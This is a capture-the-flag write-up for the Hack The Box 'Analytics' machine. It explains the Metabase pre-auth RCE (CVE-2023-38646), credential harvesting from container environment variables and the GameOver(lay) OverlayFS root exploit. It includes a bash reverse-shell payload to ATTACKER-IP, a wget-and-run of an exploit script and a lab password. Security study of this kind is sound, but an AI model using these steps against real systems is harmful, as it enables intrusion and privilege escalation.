Analytics is an easy difficulty Linux machine available on Hack The Box. The box was running a version of the Metabase business intelligence software that contained a pre-auth remote code execution vulnerability. After exploiting the vulnerability, a shell inside a docker container was gained. Enumerating the environment variables of the container revealed a password that was used to gain a foothold on the box. Privilege escalation was achieved by abusing a vulnerability in the OverlayFS module of Ubuntu.
Enumeration
The first step was reconnaissance.
Nmap
I began with an nmap scan:
nmap -sC -sV TARGET-IP
After letting nmap run, it produced the following results:
Nmap scan report for TARGET-IP
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds
From the output, I could see that the following ports were open:
| Port | Service | Remarks |
|---|---|---|
| 22 | SSH | Remote login |
| 80 | HTTP | Web server |
I continued the enumeration of the target by examining the web server.
Web Server
The web server was redirecting requests to the analytical.htb domain:
I added an entry in my /etc/hosts file to map the target IP to this domain:
TARGET-IP analytical.htb
Once my web browser knew where to find analytical.htb, I proceeded to enumerate the website. It appeared to be advertising some sort of data analytics service (hence the name of the box).
The site looked mostly uninteresting, except for the Login link in the top right corner. After clicking that link, I was sent to a subdomain data.analytical.htb, which I also added to my /etc/hosts file:
TARGET-IP analytical.htb data.analytical.htb
Back in the browser, I was presented with a login form for a tool named Metabase, which is a tool that is used for data querying and visualisation.
I first attempted to log into the application using default or weak credentials:
root:rootadmin:adminadministrator:admin- etc…
This didn’t work.
CVE-2023-38646
Metabase versions < 0.46.6.1 (and enterprise versions < 1.46.6.1) contain a remote code execution vulnerability that can be exploited without authentication.
The vulnerability arose by a setup_token variable being leaked by an API endpoint of the Metabase software: /api/session/properties. This token was meant to be cleared after its first use, and was never meant to be publicly exposed as it was. Unfortunately the token was not cleared when it was supposed to be. The leaked setup_token was then utilised to authorise a call to the /api/setup/validate endpoint, which would attempt to create a new user account and connect to a database server using a connection string.
Metabase includes a default database called H2 that comes with features that enable the execution of SQL (as well as other things) within connection strings. The restrictions that were in place to prevent malicious use of these features were unfortunately insufficient, and allowed the execution of code on the host OS.
These two things coupled together produced the pre-auth remote code execution vulnerability. An attacker could steal the setup_token, call the dangerous /api/setup/validate API endpoint, and then abuse H2’s connection string inline execution features to execute malicious commands on the host OS.
Foothold
There is a public exploit script available on GitHub that will automate the process of calling the vulnerable API endpoint and creating a reverse shell. Before using it, the setup_token must be collected from the /api/session/properties API endpoint. This can be done by visiting the following URL:
http://data.analytical.htb/api/session/properties
A nc listener was also set up to catch the incoming reverse shell:
nc -lvnp 4444
listening on [any] 4444...
After collecting the setup_token, this can then be passed to the exploit script:
python3 main.py -u http://data.analytical.htb -t 'SETUP-TOKEN' -c '/bin/bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1'
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!]
[+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent
This results in a reverse shell connection being caught on the waiting listener.
Escape the Container
The environment that I landed in didn’t look right. The files present were few, as were the number of processes running. This indicated that the exploited Metabase instance was running inside some sort of container.
A common place to check when enumerating containers is the environment variables. These can occasionally contain sensitive information, including credentials. The environment variables were printed out using the following command:
printenv
The following variables were returned:
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=5a9da6bfe558
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/metabase.db
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/printenv
OLDPWD=/
From the environment variables, the following credentials were extracted:
metalytics:An4lytics_ds20223#
There was a high probability that these could be used to log into the box via SSH, so that was the next step that I took:
ssh [email protected]
[email protected]'s password:
metalytics@analytics:~$
Privilege Escalation
With a foothold established, I began to enumerate the standard vectors for privilege escalation:
- cronjobs
- SUID binaries
- sudo
These avenues didn’t lead anywhere.
It is always a good idea to find the version of the OS kernel. This software sits at the heart of the operating system, and can contain security vulnerabilities that allow a low privileged user to elevate themselves to the highest privileged user.
I checked the kernel version:
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
metalytics@analytics:~$
Googling for security issues with this kernel version (Ubuntu 6.2.0-25-generic) produced results for a vulnerability dubbed GameOver(lay).
GameOver(lay)
The Ubuntu operating system has a module named OverlayFS (FS meaning “filesystem”). It is a union mount filesystem implementation for Linux. It facilitates combining multiple directories into a single directory that appears to contain the combined contents of all the combined directories (simliar to how a UNION query of a database combines the data from each source into a single output).
Root
The kernel doesn’t perform proper security checks on interactions with the OverlayFS module, leading to local privilege escalation. There is a script available on GitHub that automates this process. To become root, I cloned the GitHub repo, transferred the script to the box, and ran it:
metalytics@analytics:~$ wget http://YOUR-IP:PORT/exploit.sh
metalytics@analytics:~$ chmod +x exploit.sh
metalytics@analytics:~$ ./exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:~#
Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.